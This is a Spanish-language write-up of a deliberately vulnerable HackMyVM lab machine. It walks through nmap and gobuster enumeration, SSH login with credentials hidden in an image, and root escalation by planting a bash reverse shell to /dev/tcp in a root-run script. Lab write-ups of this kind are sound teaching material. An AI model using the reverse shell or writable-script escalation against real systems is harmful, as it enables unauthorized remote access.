Rei - HackMyVm

Featured image

En esta ocasión tenemos una máquina nivel Easy creada por ShellDredd, tendremos varios trolleos a lo largo de la explotación y debemos fijarnos y prestar atención a todo.

Canal de ShellDredd Informática

Enlace Canal Youtube Shelldredd Informática

Reconocimiento de Puertos

Comenzamos lanzando nmap para descubrir los puertos abiertos en la máquina.

PORT      STATE SERVICE
63777/tcp open  unknown
65333/tcp open  unknown

Me saca 2 puertos, pero no tengo ni idea de que se ejecuta en los mismos de forma que voy a realizar un escaneo más descriptivo para obtener los servicios que se ejecutan en cada puerto y sus versiones.

PORT      STATE SERVICE VERSION
63777/tcp open  http    lighttpd 1.4.59
|_http-server-header: lighttpd/1.4.59
|_http-title: Welcome page
65333/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 25:62:b8:14:da:7d:e9:ea:48:4c:a9:31:08:cd:c5:78 (RSA)
|   256 b8:51:f8:62:de:16:09:d0:f9:a8:2c:c3:3b:09:a1:e3 (ECDSA)
|_  256 f4:f5:6c:ac:81:ed:06:14:ea:07:de:56:ac:34:ca:be (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Una vez finalizado el escaneo ya tengo la información que necesitaba:

Puerto Servicio Versión
63777 http lighttpd 1.4.59
65333 ssh OpenSSH 8.4p1 Debian 5

Tenemos un servidor web en el puerto 63777 y ssh en el 65333

Enumeración Web

A simple vista no hay nada relevante que me pueda servir

Reviso el código fuente y tampoco hay nada.

Toca fuzzear para descubrir rutas en el servidor.

En esta ocasión uso gobuster bajo el comando:

gobuster dir -u http://192.168.0.13:63777 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

Encuentro el robots.txt pero no hay nada…

Tras seguir buscando no encontraba nada asique decidí volver al principio porque me estaba dejando algo…

Me di cuenta tras un buen rato de búsqueda…

Si te fijas en la documentación que hay en la primera foto nada más acceder al servidor web verás la siguiente línea:

Additional documentation can be found at”text” archive: indexp in the default directory /var/www/html/.

Asique pruebo con la ruta http://192.168.0.13:63777/indexp.txt

Me saca un montón de rutas Disallow pero varias Allow

Fui vistando cada ruta una a una y todas me daban error 404.

Excepto la ruta /gichin/your-button que me daba código 403 (Forbidden) al acceder.

De forma que sigo fuzzeando desde esa ruta.

gobuster dir -u http://192.168.0.13:63777/gichin/your-button -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

Y me saca dos rutas:

Simplemente hay un gif, pero miro el código fuente y encuentro la siguiente línea:

title=”ENTER” href=”chuck-norris.html”

Tenemos una imágen… Y encontramos algo más

Pero hay que fijarse en todo, ya que la foto nos da varios datos interesantes…

BALANCE IS KEY

Chuck Norris is the user master

Podríamos estar ante un usuario y una posible contraseña… Asique porque no probar?

SSH

Nos intentamos loguear con los datos que tenemos por ssh.

Listo, tenemos acceso a través de ssh y ya podemos leer la flag user.txt, o eso creía…

chuck-norris@karate:~$ cat user.txt
                 (__) 
                 (oo) 
           /------\/ 
          / |    ||   
         *  /\---/\ 
            ~~   ~~   
..."Have you mooed today?"...

El señor Shelldredd siempre nos tiene algún trolleo guardado en la manga…

Pero no pasa nada, podemos probar con la ruta de cat o usar strings.

chuck-norris@karate:~$ strings user.txt 
Flag User:
******U46AcfI*****

Escalada de Privilegios

Ahora toca escalar privilegios, y como siempre comenzamos enumerando para encontrar posibles vectores de escalada.

Lanzo linpeas.sh pero no veo nada raro… asique paso a lanzar pspy para buscar procesos ocultos en ejecución

Y encuentro lo siguiente

2022/09/22 12:51:29 CMD: UID=0 PID=10752 (kanga.sh)

Procedo a buscar el archivo…

chuck-norris@karate:~$ find / -name kanga.sh -type f 2>/dev/null
______________________________
⠄⠄⠄⠄⣠⣴⣿⣿⣿⣷⣦⡠⣴⣶⣶⣶⣦⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⣴⣿⣿⣫⣭⣭⣭⣭⣥⢹⣟⣛⣛⣛⣃⣀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⣠⢸⣿⣿⣿⣿⢯⡓⢻⠿⠿⠷⡜⣯⠭⢽⠿⠯⠽⣀⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣼⣿⣾⣿⣿⣿⣥⣝⠂⠐⠈⢸⠿⢆⠱⠯⠄⠈⠸⣛⡒⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣿⣿⣿⣿⣿⣿⣿⣶⣶⣭⡭⢟⣲⣶⡿⠿⠿⠿⠿⠋⠄⠄⣴⠶⠶⠶⠶⠶⢶⡀
⣿⣿⣿⣿⣿⢟⣛⠿⢿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣷⡄⠄⢰⠇⠄⠄⠄⠄⠄⠈⣧
⣿⣿⣿⣿⣷⡹⣭⣛⠳⠶⠬⠭⢭⣝⣛⣛⣛⣫⣭⡥⠄⠸⡄⣶⣶⣾⣿⣿⢇⡟
⠿⣿⣿⣿⣿⣿⣦⣭⣛⣛⡛⠳⠶⠶⠶⣶⣶⣶⠶⠄⠄⠄⠙⠮⣽⣛⣫⡵⠊⠁
⣍⡲⠮⣍⣙⣛⣛⡻⠿⠿⠿⠿⠿⠿⠿⠖⠂⠄⠄⠄⠄⠄⠄⠄⠄⣸⠄⠄⠄⠄
⣿⣿⣿⣶⣦⣬⣭⣭⣭⣝⣭⣭⣭⣴⣷⣦⡀⠄⠄⠄⠄⠄⠄⠠⠤⠿⠦⠤⠄⠄
_________FIND THIS..._________

Pero claro, olvidaba que es shelldredd y el trolleo nunca acaba :(

Sigo busando… ya que el pspy no me daba más info pero no encontré nada y volví a lanzarlo y descubrí esto

2022/09/22 12:58:49 CMD: UID=0    PID=10902  | /bin/bash /lost+found/sakugawa-kanga.sh

Ahí está lo que buscaba

Lo que hay es un simple script en bash, pruebo a meter una shell en bash.

bash -i >& /dev/tcp/<ip>/<port> 0>&1

Abrimos un oyente de netcat y tras esperar unos segundos…

Ahora ya podemos leer la bandera root.txt, o eso creía, tonto de mí.

Nos dice lo siguiente

Maritrini plays with you, call her by name from the hidden area and maybe she will give you back the password.

Debemos buscar un archivo con el nombre maritrini y tendremos la bandera root.txt

Tras buscar un buen rato lo encuentro en la ruta:

/mnt/.maritrini

Agradecimientos a Shelldredd por esta máquina y por el trolleo gratuito